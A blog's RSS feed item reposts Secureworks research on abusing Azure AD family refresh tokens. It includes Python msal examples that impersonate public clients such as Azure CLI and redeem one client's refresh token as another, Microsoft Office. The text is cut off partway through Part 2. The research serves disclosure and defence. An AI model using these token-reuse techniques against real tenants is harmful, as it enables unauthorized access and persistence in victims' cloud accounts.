<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cybersecurity Archives - Tech Chronicles</title>
	<atom:link href="http://kostacipo.stream/category/cybersecurity/feed/" rel="self" type="application/rss+xml" />
	<link>http://kostacipo.stream/category/cybersecurity/</link>
	<description>Ramblings of a Tech Dude</description>
	<lastBuildDate>Sat, 02 Mar 2024 21:24:57 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://kostacipo.stream/wp-content/uploads/2019/12/cropped-profile-32x32.jpg</url>
	<title>Cybersecurity Archives - Tech Chronicles</title>
	<link>http://kostacipo.stream/category/cybersecurity/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Abusing Family Refresh Tokens For Unauthorized Access And Persistence In Azure Active Directory</title>
		<link>http://kostacipo.stream/abusing-family-refresh-tokens-for-unauthorized-access-and-persistence-in-azure-active-directory/</link>
					<comments>http://kostacipo.stream/abusing-family-refresh-tokens-for-unauthorized-access-and-persistence-in-azure-active-directory/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sat, 02 Mar 2024 21:24:57 +0000</pubDate>
				<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Exploitation Tools]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Azure Active Directory]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2190</guid>

					<description><![CDATA[<p>Abusing Family Refresh Tokens for Unauthorized Access and Persistence in Azure Active Directory Ryan Marcotte Cobb, CTU Special Operations Tony Gore, CTU Special Operations Undocumented functionality in Azure Active Directory allows a group of Microsoft OAuth client applications to obtain special “family refresh tokens,” which can be redeemed for bearer tokens as any other client [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/abusing-family-refresh-tokens-for-unauthorized-access-and-persistence-in-azure-active-directory/">Abusing Family Refresh Tokens For Unauthorized Access And Persistence In Azure Active Directory</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="markdown-heading" dir="auto">
<h1 dir="auto" tabindex="-1"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-2194" src="https://kostacipo.stream/wp-content/uploads/2024/03/Screenshot-2024-03-02-221723.png" alt="" width="858" height="255" srcset="https://kostacipo.stream/wp-content/uploads/2024/03/Screenshot-2024-03-02-221723.png 858w, https://kostacipo.stream/wp-content/uploads/2024/03/Screenshot-2024-03-02-221723-300x89.png 300w, https://kostacipo.stream/wp-content/uploads/2024/03/Screenshot-2024-03-02-221723-768x228.png 768w" sizes="(max-width: 858px) 100vw, 858px" /></h1>
<h1 class="heading-element" dir="auto" tabindex="-1">Abusing Family Refresh Tokens for Unauthorized Access and Persistence in Azure Active Directory</h1>
</div>
<ul dir="auto">
<li>Ryan Marcotte Cobb, CTU Special Operations</li>
<li>Tony Gore, CTU Special Operations</li>
</ul>
<p dir="auto">Undocumented functionality in Azure Active Directory allows a group of Microsoft OAuth client applications to obtain special “family refresh tokens,” which can be redeemed for bearer tokens as any other client in the family. We will discuss how this functionality was uncovered, the mechanism behind it, and various attack paths to obtain family refresh tokens. We will demonstrate how this functionality can be abused to access sensitive data. Lastly, we will share relevant information to mitigate the theft of family refresh tokens.</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Updates</h2>
</div>
<ul dir="auto">
<li>2022-03-23: Added 17 new FOCI family client apps to <code>known-foci-clients.csv</code></li>
</ul>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Table of Contents</h2>
</div>
<ul dir="auto">
<li>Part 1 &#8211; Azure Active Directory and OAuth 2.0</li>
<li>Part 2 &#8211; Introducing Family of Client IDs &amp; Family Refresh Tokens</li>
<li>Part 3 &#8211; Attack Paths</li>
<li>Part 4 &#8211; Mitigations against Family Refresh Tokens</li>
<li>Conclusion</li>
</ul>
<div class="markdown-heading" dir="auto">
<h1 class="heading-element" dir="auto" tabindex="-1">Part 1 &#8211; Azure Active Directory and OAuth 2.0</h1>
<p><a id="user-content-part-1---azure-active-directory-and-oauth-20" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#part-1---azure-active-directory-and-oauth-20" aria-label="Permalink: Part 1 - Azure Active Directory and OAuth 2.0"></a></div>
<p dir="auto">Azure Active Directory (Azure AD) is a cloud-based identity and access management (IAM) platform developed by Microsoft. Microsoft uses Azure AD as the IAM provider for its own cloud services, such as Microsoft 365 and Azure Resource Manager. Azure AD implements the <a href="https://www.oauth.com/" rel="nofollow">OAuth 2.0</a> and <a href="https://openid.net/connect/" rel="nofollow">OpenID Connect</a> (OIDC) standards as the foundation for its authorization and authentication functionality, respectively. OAuth 2.0 is an authorization framework that lets resource owners (usually end-users) delegate permissions to client applications to access web services on their behalf. The IETF standard for OAuth 2.0 was originally defined in <a href="https://datatracker.ietf.org/doc/html/rfc6749" rel="nofollow">RFC 6749</a>. Additional technical specifications were later ratified to detail use-cases that were not addressed in RFC 6749. Even with active development on the OAuth 2.0 standard, Microsoft pushes the boundaries of its design to support the sheer scale and variety of services that rely on Azure AD.</p>
<p dir="auto">This research focuses on the OAuth 2.0 implementation in Azure AD. We will highlight a few important differences between the implementation in Azure AD and the OAuth 2.0 specification. We will explore the security implications of these differences and demonstrate how an attacker can abuse Azure AD implementation quirks for privilege escalation and persistent access to Microsoft cloud resources. Lastly, we will share how we weaponized this undocumented feature for red team operations at Secureworks, as well as a few mitigations to protect your organization against it.</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Granting Consent</h2>
<p><a id="user-content-granting-consent" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#granting-consent" aria-label="Permalink: Granting Consent"></a></div>
<p dir="auto"><a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/images/consent.svg" target="_blank" rel="noopener noreferrer"><img decoding="async" src="https://github.com/dirkjanm/family-of-client-ids-research/raw/main/images/consent.svg" alt="consent" /></a></p>
<p dir="auto">The OAuth 2.0 protocol typically involves four participants:</p>
<p dir="auto">The resource server (RS) is a web service that protects information or capabilities belonging to a resource owner (RO). The resource owner usually represents an end-user. The resource server should only allow the authorized delegates of the resource owner to access the protected resources. The resource server may categorize different kinds of protected resources into <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-3.3" rel="nofollow">scopes</a>. Scopes are granular permissions on the resource server that the resource owner can delegate to client applications (CA).</p>
<p dir="auto">The resource owner can allow client applications to have limited access to resource servers by explicitly granting consent to specific scopes. Both the resource server and the resource owner trust the authorization server (AS). The authorization server is responsible for keeping track of the scopes on the resource server that the resource owner granted to the client application.</p>
<p dir="auto">Microsoft 365 is a suite of productivity software-as-a-service solutions, and it uses Azure AD as its IAM provider. Microsoft 365 apps are deeply integrated through a complex web of service dependencies between OAuth applications. Each solution is instantiated as one (or more) OAuth client applications, resource servers, or both in the Azure AD tenant. Many of these Microsoft “first-party” OAuth applications are automatically provisioned in tenant with each deployment of Microsoft 365.</p>
<p dir="auto">To ensure these dependencies are met, many first-party applications are granted (what Microsoft describes as) “implied consent”, sometimes called “pre-consent” or “pre-authorization”. Microsoft wants to hide this complexity, so first-party client applications and their pre-consented scopes are invisible to users and administrators. Our research focused on these first-party client applications and the sensitive scopes that were “pre-authorized” for them on behalf of all users.</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Grant Flows</h2>
<p><a id="user-content-grant-flows" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#grant-flows" aria-label="Permalink: Grant Flows"></a></div>
<p dir="auto">When the resource server receives a web request from a client application, it needs to confirm that the client application has consent and authorization by the resource owner to access the requested resources. As previously stated, the authorization server is responsible for keeping track of what the resource owner delegated to the client application. Therefore, the resource server needs some form of proof from the authorization server that the client application is authorized for what it is requesting.</p>
<p dir="auto">The OAuth 2.0 specifications define a variety of protocols &#8211; called grant flows &#8211; involving an authorization server, client application, and (usually) the resource owner. All grant flows result in the authorization server issuing temporary credentials – called <a href="https://datatracker.ietf.org/doc/html/rfc6750" rel="nofollow">bearer tokens</a> – to the client application that will grant access when presented to the resource server. All bearer tokens are issued to the client application by the authorization server.</p>
<p dir="auto">Here is a simplified diagram of the <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-4.1" rel="nofollow">authentication code grant flow</a>:</p>
<p dir="auto"><a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/images/obtains-tokens.svg" target="_blank" rel="noopener noreferrer"><img decoding="async" src="https://github.com/dirkjanm/family-of-client-ids-research/raw/main/images/obtains-tokens.svg" alt="flows" /></a></p>
<p dir="auto">Although technically outside of the OAuth 2.0 spec, authorization grant flows typically involve an authentication step (defined in a different protocol, such as OpenID Connect) wherein the resource owner proves their identity to the authentication server. Proof of identity usually requires a password or certificate in addition to other authentication challenges, like multi-factor authentication.</p>
<p dir="auto">Some grant flows require proof of identity for the user, while others require proof of identity for the application itself. Client applications that have their own passwords or certificates are called &#8220;confidential&#8221; clients, while clients that do not need their own proof of identity are called &#8220;public&#8221; clients. It is important to note that an attacker can masquerade as the public client application when requesting tokens from the authorization server. Since public clients do not have their own credentials, the authentication server has no way to prove that the authorization grant originates from the legitimate application.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 0 &#8211; Install Dependencies</h3>
<p><a id="user-content-example-0---install-dependencies" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#example-0---install-dependencies" aria-label="Permalink: Example 0 - Install Dependencies"></a></div>
<blockquote>
<p dir="auto">The examples in this notebook require the <a href="https://msal-python.readthedocs.io/en/latest/" rel="nofollow"><code>msal</code></a> and <a href="https://pyjwt.readthedocs.io/en/stable/" rel="nofollow"><code>pyjwt</code></a> packages. If not already installed, we can pip install them in the current kernel by uncommenting and running the cell below. After the packages have been installed, we need to restart your kernel before proceeding with the rest of the notebook.</p>
</blockquote>
<div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto">
<pre><span class="pl-c">#!pip install -r requirements.txt</span>

<span class="pl-k">import</span> <span class="pl-s1">msal</span>
<span class="pl-k">import</span> <span class="pl-s1">requests</span>
<span class="pl-k">import</span> <span class="pl-s1">jwt</span>
<span class="pl-k">import</span> <span class="pl-s1">pandas</span> <span class="pl-k">as</span> <span class="pl-s1">pd</span>
<span class="pl-s1">pd</span>.<span class="pl-s1">options</span>.<span class="pl-s1">display</span>.<span class="pl-s1">max_rows</span> <span class="pl-c1">=</span> <span class="pl-c1">999</span>

<span class="pl-k">from</span> <span class="pl-s1">pprint</span> <span class="pl-k">import</span> <span class="pl-s1">pprint</span>
<span class="pl-k">from</span> <span class="pl-s1">typing</span> <span class="pl-k">import</span> <span class="pl-v">Any</span>, <span class="pl-v">Dict</span>, <span class="pl-v">List</span></pre>
<div class="zeroclipboard-container"></div>
</div>
<p dir="auto">Let&#8217;s authorize a Microsoft public client application using Python. In this example, we will complete an device authorization grant flow as the Azure CLI public client application (Client ID: <code>04b07795-8ddb-461a-bbee-02f9e1bf7b46</code>). Since the Azure CLI is a public client, it does not have its own secrets and Azure AD cannot verify whether the authorization request originates from the legitimate commandline tool or an attacker. We will request bearer tokens authorized for the <code>.default</code> scope on the modern Microsoft Graph. Note that <code>msal</code> <a href="https://github.com/AzureAD/microsoft-authentication-library-for-python/blob/dev/msal/application.py#L481">automatically adds</a> the <code>offline_access</code>, <code>profile</code>, and <code>openid</code> scopes to the request. The scope <code>offline_access</code> instructs the Azure AD to return a refresh token in addition to an access token and ID token. We will look closer at these tokens shortly.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 1 &#8211; Device Code Flow</h3>
</div>
<pre><span class="pl-s1">azure_cli_client</span> <span class="pl-c1">=</span> <span class="pl-s1">msal</span>.<span class="pl-v">PublicClientApplication</span>(
    <span class="pl-s">"04b07795-8ddb-461a-bbee-02f9e1bf7b46"</span> <span class="pl-c"># ID for Azure CLI client</span>
)

<span class="pl-s1">device_flow</span> <span class="pl-c1">=</span> <span class="pl-s1">azure_cli_client</span>.<span class="pl-en">initiate_device_flow</span>(
    <span class="pl-s1">scopes</span><span class="pl-c1">=</span>[<span class="pl-s">"https://graph.microsoft.com/.default"</span>]
)

<span class="pl-en">print</span>(<span class="pl-s1">device_flow</span>[<span class="pl-s">"message"</span>])</pre>
<div class="zeroclipboard-container"></div>
<p dir="auto">After the resource owner authenticates and authorizes the grant flow, the client application can acquire bearer tokens from the authorization server.</p>
<div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto">
<pre><span class="pl-s1">azure_cli_bearer_tokens_for_graph_api</span> <span class="pl-c1">=</span> <span class="pl-s1">azure_cli_client</span>.<span class="pl-en">acquire_token_by_device_flow</span>(
    <span class="pl-s1">device_flow</span>
)

<span class="pl-en">pprint</span>(<span class="pl-s1">azure_cli_bearer_tokens_for_graph_api</span>)</pre>
<div class="zeroclipboard-container"></div>
</div>
<p dir="auto">We should now have a set of bearer tokens for the Azure CLI client application.</p>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Bearer Tokens</h2>
<p><a id="user-content-bearer-tokens" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#bearer-tokens" aria-label="Permalink: Bearer Tokens"></a></div>
<p dir="auto">Bearer tokens get their name because <a href="https://datatracker.ietf.org/doc/html/rfc6750#section-1.2" rel="nofollow">“any party in possession of the token (a “bearer”) can use the token in any way that any other party in possession of it can use.”</a> Bearer tokens expire over time, after which the client application will need a new authorization from the resource owner. The <a href="https://datatracker.ietf.org/doc/html/rfc7523" rel="nofollow">standard representation</a> for bearer tokens are <a href="https://jwt.io/introduction" rel="nofollow">JSON Web Tokens</a> (JWT). Azure AD uses three types of bearer tokens: ID tokens, access tokens, and refresh tokens:</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Standard</th>
<th>Lifetime</th>
</tr>
</thead>
<tbody>
<tr>
<td>ID Token</td>
<td>OIDC</td>
<td>1 Hour</td>
</tr>
<tr>
<td>Access Token</td>
<td>OAuth 2.0</td>
<td>1 hour</td>
</tr>
<tr>
<td>Refresh Token</td>
<td>OAuth 2.0</td>
<td>90 days</td>
</tr>
</tbody>
</table>
<p dir="auto"><strong>ID tokens</strong> contain information about the resource owner, such as their friendly name, user principal name, and location. ID tokens are defined in the OIDC standard and are outside of the scope of this research. We will instead focus on the other two types of tokens.</p>
<p dir="auto"><strong>Access tokens</strong> are the credentials used to access protected resources. Client applications must pass an access token with each web request to the resource server. Access tokens <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-1.4" rel="nofollow">represent specific scopes and durations</a> of access that the resource owner authorized for the client application. Note that access tokens contain <em>claims</em> with information about:</p>
<ul dir="auto">
<li>the provenance of the token (<code>iss</code>)</li>
<li>the resource owner and client application (<code>oid</code>/<code>upn</code>, <code>appid</code>)</li>
<li>the authorized scopes (<code>scp</code>)</li>
<li>the issuance and expiration times (<code>iat</code>, <code>exp</code>)</li>
<li>the resource server (<code>aud</code>)</li>
<li>the authentication methods that the resource owner used to authorize the client application (<code>amr</code>)</li>
<li>and much more</li>
</ul>
<p dir="auto">Let&#8217;s take a closer look at the access token we acquired in the previous example. We will use <code>pyjwt</code> to decode the JSON blob and inspect its contents:</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 2 &#8211; Decode Access Token</h3>
</div>
<pre><span class="pl-k">def</span> <span class="pl-en">decode_jwt</span>(<span class="pl-s1">base64_blob</span>: <span class="pl-s1">str</span>) <span class="pl-c1">-&gt;</span> <span class="pl-v">Dict</span>[<span class="pl-s1">str</span>, <span class="pl-v">Any</span>]:
    <span class="pl-s">"""Decodes base64 encoded JWT blob"""</span>
    <span class="pl-k">return</span> <span class="pl-s1">jwt</span>.<span class="pl-en">decode</span>(
        <span class="pl-s1">base64_blob</span>, <span class="pl-s1">options</span><span class="pl-c1">=</span>{<span class="pl-s">"verify_signature"</span>: <span class="pl-c1">False</span>, <span class="pl-s">"verify_aud"</span>: <span class="pl-c1">False</span>}
    )


<span class="pl-s1">decoded_access_token</span> <span class="pl-c1">=</span> <span class="pl-en">decode_jwt</span>(
    <span class="pl-s1">azure_cli_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"access_token"</span>)
)

<span class="pl-en">pprint</span>(<span class="pl-s1">decoded_access_token</span>)</pre>
<div class="zeroclipboard-container"></div>
<p dir="auto">We can pass the access token in the header of a web request to access the Microsoft Graph as the resource owner. The Graph endpoint <code>/me/oauth2PermissionGrants</code> returns a list of OAuth 2.0 permission grants, which represent consent granted by the user to client applications for specific scopes. The same approach can be used to call any other Graph endpoint &#8211; so long as the access token contains the <a href="https://docs.microsoft.com/en-us/graph/permissions-reference" rel="nofollow">necessary scopes</a>. In the case of <code>/me/oauth2PermissionGrants</code>, access tokens must have a scope containing <code>Directory.Read.All</code>, <code>DelegatedPermissionGrant.ReadWrite.All</code>, <code>Directory.ReadWriteAll</code>, or <code>Directory.AccessAsUser.All</code> to call this API endpoint.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 3 &#8211; Use Access Token to Call Graph API</h3>
</div>
<pre><span class="pl-k">def</span> <span class="pl-en">check_my_oauth2PermissionGrants</span>(<span class="pl-s1">access_token</span>: <span class="pl-s1">str</span>) <span class="pl-c1">-&gt;</span> <span class="pl-v">Dict</span>[<span class="pl-s1">str</span>, <span class="pl-v">Any</span>]:
    <span class="pl-s">"""Lists OAuth2PermissionGrants for the authorized user."""</span>
    <span class="pl-s1">url</span> <span class="pl-c1">=</span> <span class="pl-s">"https://graph.microsoft.com/beta/me/oauth2PermissionGrants"</span>
    <span class="pl-s1">headers</span> <span class="pl-c1">=</span> {
        <span class="pl-s">"Content-Type"</span>: <span class="pl-s">"application/json"</span>,
        <span class="pl-s">"Authorization"</span>: <span class="pl-s">f"Bearer <span class="pl-s1"><span class="pl-kos">{</span>access_token<span class="pl-kos">}</span></span>"</span>,
    }
    <span class="pl-k">return</span> <span class="pl-s1">requests</span>.<span class="pl-en">get</span>(<span class="pl-s1">url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-s1">headers</span>).<span class="pl-en">json</span>()


<span class="pl-en">check_my_oauth2PermissionGrants</span>(
    <span class="pl-s1">azure_cli_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"access_token"</span>)
)</pre>
<div class="zeroclipboard-container"></div>
<blockquote>
<p dir="auto">Note that the Azure CLI client application does not appear in the list of permission grants because it has been &#8220;pre-authorized&#8221; by Microsoft. There are many of these first-party client applications in an Azure AD tenant by default.</p>
</blockquote>
<p dir="auto">Access tokens expire after a short period of time, usually one hour. Once an access token has expired, the client application will need to obtain a new access token to continue accessing protected resources. The client application can either request authorization from the resource owner again or use a refresh token to obtain new access tokens based on the prior authorization.</p>
<p dir="auto"><strong>Refresh tokens</strong> are a special type of bearer token representing the authorization granted by the resource owner to the client application. Client applications can redeem refresh tokens with the authorization server to obtain a new set of bearer tokens (including another refresh token) after the originally issued access token has expired and without requiring new authorization from the resource owner. Refresh tokens are much longer-lived than access tokens; most refresh tokens issued by Azure AD are valid for 90 days. The refresh tokens contain an opaque blob that is encrypted by the authorization server. As such the exact content of refresh tokens is unknown.</p>
<p dir="auto"><a href="https://github.com/dirkjanm/family-of-client-ids-research/blob/main/images/refresh-tokens.svg" target="_blank" rel="noopener noreferrer"><img decoding="async" src="https://github.com/dirkjanm/family-of-client-ids-research/raw/main/images/refresh-tokens.svg" alt="refresh" /></a></p>
<p dir="auto">Here is a textbook example of a refresh token grant. We are redeeming the previously obtained refresh token for new bearer tokens bound to the same client and scopes as the original authorization:</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 4 &#8211; Redeem Refresh Token</h3>
</div>
<pre><span class="pl-s1">new_azure_cli_bearer_tokens_for_graph_api</span> <span class="pl-c1">=</span> (

    <span class="pl-c"># Same client as original authorization</span>
    <span class="pl-s1">azure_cli_client</span>.<span class="pl-en">acquire_token_by_refresh_token</span>( 
        <span class="pl-s1">azure_cli_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"refresh_token"</span>),

        <span class="pl-c"># Same scopes as original authorization</span>
        <span class="pl-s1">scopes</span><span class="pl-c1">=</span>[<span class="pl-s">"https://graph.microsoft.com/.default"</span>], 
    )
)

<span class="pl-en">pprint</span>(<span class="pl-s1">new_azure_cli_bearer_tokens_for_graph_api</span>)</pre>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Refresh Tokens: Specification vs. Implementation</h2>
<p><a id="user-content-refresh-tokens-specification-vs-implementation" class="anchor-element" href="https://github.com/dirkjanm/family-of-client-ids-research?tab=readme-ov-file#refresh-tokens-specification-vs-implementation" aria-label="Permalink: Refresh Tokens: Specification vs. Implementation"></a></div>
<p dir="auto">Because refresh tokens are long-lived credentials, they are attractive targets for malicious actors. <a href="https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#section-4.13.1" rel="nofollow">“If an attacker is able to exfiltrate and successfully replay a refresh token, the attacker will be able to mint access tokens and use them to access resource servers on behalf of the resource owner.”</a> The <a href="https://datatracker.ietf.org/doc/html/rfc6819#section-4.5" rel="nofollow">IETF threat model</a> for OAuth 2.0 elucidates the various ways an attacker could obtain refresh tokens.</p>
<p dir="auto">The OAuth 2.0 specifications include safeguards to mitigate the potential risk from refresh token theft:</p>
<ul dir="auto">
<li>
<p dir="auto">Safeguard #1: <strong>Same Scopes</strong> &#8211; Refresh tokens should only be able <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-1.5" rel="nofollow">“to obtain access tokens with identical or narrower scope”</a> as the original authorization. The most recent guidance from the IETF OAuth working group explains that <a href="https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#section-4.13.2" rel="nofollow">“refresh tokens MUST be bound to the scope and resource servers as consented by the resource owner… to prevent privilege escalation by the legitimate client and reduce the impact of refresh token leakage.”</a> And if the authorization server issues a new refresh token during a refresh token grant, <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-6" rel="nofollow">“the refresh token scope MUST be identical to that of the refresh token included by the client in the request.”</a></p>
</li>
<li>
<p dir="auto">Safeguard #2: <strong>Same Client</strong> &#8211; Furthermore, refresh tokens are <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-6" rel="nofollow">“bound to the client to which it was issued”</a> and the <a href="https://datatracker.ietf.org/doc/html/rfc6749#section-10.4" rel="nofollow">authorization server is responsible</a> for maintaining this binding. The IETF threat model for OAuth2.0 clarifies that the refresh token should be bound to the original client identifier, which the <a href="https://datatracker.ietf.org/doc/html/rfc6819#section-5.2.2.2" rel="nofollow">authorization server should validate</a> with each attempt to refresh tokens.</p>
</li>
</ul>
<p dir="auto">In other words, the level of access provided by a refresh token should reflect what the resource owner originally authorized: for the same scopes, on the same resource server, and as the same client application.</p>
<p dir="auto">Microsoft has a history of bending these rules with the legacy Azure AD feature called <a href="https://www.cloudidentity.com/blog/2013/10/14/adal-windows-azure-ad-and-multi-resource-refresh-tokens/" rel="nofollow">“multi-resource refresh tokens”</a> (MRRTs). MRRTs effectively ignored the first safeguard for refresh tokens (limit access to the previously authorized scopes). Instead, MRRTs acted as “the OAuth2 equivalent of ticket granting tickets (TGTs) in Kerberos; they are artifacts that allow a user to obtain tokens to access resources the directory decides she or he has access to.” (<em>Modern Authentication with Azure Active Directory for Web Applications. Bertocci, Vittorio. 2019. Page 242-243</em>) MRRTs remained bound to the same user and client application, but Azure AD would redeem MRRTs for new bearer tokens scoped to any resources for which the client had been granted consent. Furthermore, MRRTs were not scoped by tenant. Client applications could “use MRRTs to ask for access tokens from any tenant in which the user has a guest account and has already granted consent for the client app originally used to obtain the first refresh token.” [ibid.]
<p dir="auto">MRRTs are no longer an optional feature; all Azure AD refresh tokens exhibit this behavior today. Microsoft <a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/refresh-tokens" rel="nofollow">documentation</a> clearly states “Refresh tokens are bound to a combination of user and client, but aren&#8217;t tied to a resource or tenant… a client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so.”</p>
<p dir="auto">Here is a demonstration of a refresh token grant, but requesting different scopes than the original authorization. Note the content of the access token and how it differs from the previous examples.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 5 &#8211; Documented AAD Refresh Token Behavior: Different Scopes</h3>
</div>
<pre><span class="pl-s1">azure_cli_bearer_tokens_for_outlook_api</span> <span class="pl-c1">=</span> (

    <span class="pl-c"># Same client as original authorization</span>
    <span class="pl-s1">azure_cli_client</span>.<span class="pl-en">acquire_token_by_refresh_token</span>( 
        <span class="pl-s1">new_azure_cli_bearer_tokens_for_graph_api</span>.<span class="pl-en">get</span>(
            <span class="pl-s">"refresh_token"</span> 
        ),
        
        <span class="pl-c"># But different scopes than original authorization</span>
        <span class="pl-s1">scopes</span><span class="pl-c1">=</span>[
            <span class="pl-s">"https://outlook.office.com/.default"</span> 
        ],  
    )
)

<span class="pl-en">pprint</span>(<span class="pl-s1">azure_cli_bearer_tokens_for_outlook_api</span>)</pre>
<p dir="auto">Recent open-source projects (<a href="https://github.com/rvrsh3ll/TokenTactics">TokenTactics</a> and <a href="https://github.com/Gerenios/AADInternals">AADInternals</a>) showed, however, that it is also possible to redeem a refresh token issued to some first-party Microsoft client applications for new bearer tokens issued to a different first-party client application. This is unexpected behavior given refresh tokens safeguard #2 outlined above.</p>
<p dir="auto">To demonstrate the undocumented behavior, let&#8217;s redeem the refresh token acquired from the previous steps to acquire new bearer tokens as a <em>different</em> Microsoft client application.</p>
<div class="markdown-heading" dir="auto">
<h3 class="heading-element" dir="auto" tabindex="-1">Example 6 &#8211; Undocumented AAD Refresh Token Behavior: Different Clients</h3>
</div>
<pre><span class="pl-s1">microsoft_office_client</span> <span class="pl-c1">=</span> <span class="pl-s1">msal</span>.<span class="pl-v">PublicClientApplication</span>(<span class="pl-s">"d3590ed6-52b3-4102-aeff-aad2292ab01c"</span>)

<span class="pl-s1">microsoft_office_bearer_tokens_for_graph_api</span> <span class="pl-c1">=</span> (
    <span class="pl-c"># This is a different client application than we used in the previous examples</span>
    <span class="pl-s1">microsoft_office_client</span>.<span class="pl-en">acquire_token_by_refresh_token</span>(
        <span class="pl-c"># But we can use the refresh token issued to our original client application</span>
        <span class="pl-s1">azure_cli_bearer_tokens_for_outlook_api</span>.<span class="pl-en">get</span>(<span class="pl-s">"refresh_token"</span>),
        <span class="pl-c"># And request different scopes too</span>
        <span class="pl-s1">scopes</span><span class="pl-c1">=</span>[<span class="pl-s">"https://graph.microsoft.com/.default"</span>],
    )
)

<span class="pl-c"># How is this possible?</span>
<span class="pl-en">pprint</span>(<span class="pl-s1">microsoft_office_bearer_tokens_for_graph_api</span>)</pre>
<div class="markdown-heading" dir="auto">
<h1 class="heading-element" dir="auto" tabindex="-1">Part 2 &#8211; Introducing Family of Client IDs &amp; Family Refresh Tokens</h1>
</div>
<p dir="auto">The behavior demonstrated in example 6 led us to ask the following research questions:</p>
<ol dir="auto">
<li>What is the mechanism and purpose behind this undocumented behavior?</li>
<li>Which client applications are compatible with each other?</li>
<li>And most importantly: since the safeguards placed on refresh tokens were designed to reduce the risks of token replay and privilege escalation, can this behavior be abused for fun and profit?</li>
</ol>
<div class="markdown-heading" dir="auto">
<h2 class="heading-element" dir="auto" tabindex="-1">Experiments</h2>
</div>
<p dir="auto">To learn more, we performed a series of experiments. In these experiments, we brute forced refresh token grants between combinations of known first-party Microsoft OAuth client applications. The list of first-party applications was assembled by scraping GitHub and from the enterprise applications found in our Azure AD test tenant. For each pair of clients, we requested the <code>.default</code> scope for a fixed list of common Azure AD and Microsoft 365 resource servers. After several million combinations of Microsoft client applications, the following pattern emerged in the results:</p>
<ul dir="auto">
<li>Out of a sample size of ~600 first-party Microsoft client applications, only 15 client applications were issued refresh tokens redeemable for new bearer tokens as a different client than the original access token.</li>
<li>All 15 anomalous client applications were first-party and pre-consented in our Azure AD test tenant.</li>
<li>All 15 anomalous client applications were public clients, meaning that no additional credentials were required to obtain bearer tokens.</li>
<li>There was reciprocity between all 15 anomalous client applications; all the anomalous client applications could redeem their refresh tokens for new bearer tokens for any of the other 15 anomalous client applications.</li>
<li>The scopes authorized to the newly issued access tokens were based on the new client. In other words, the client application and scopes from the original authorization did not matter. We will explore the implications of this in a later section.</li>
<li>If the same user principal was invited as a B2B guest in a different Azure AD tenant, then refresh tokens issued to any of the 15 anomalous client applications for that user in Tenant A could be redeemed for other anomalous client applications in Tenant B.</li>
<li>The authorization server returned an extra field in the JSON response when issuing bearer tokens to these 15 anomalous client applications: an additional field named <code>foci</code>. Notice that this field is present in the examples above.</li>
</ul>
<div class="markdown-heading" dir="auto">
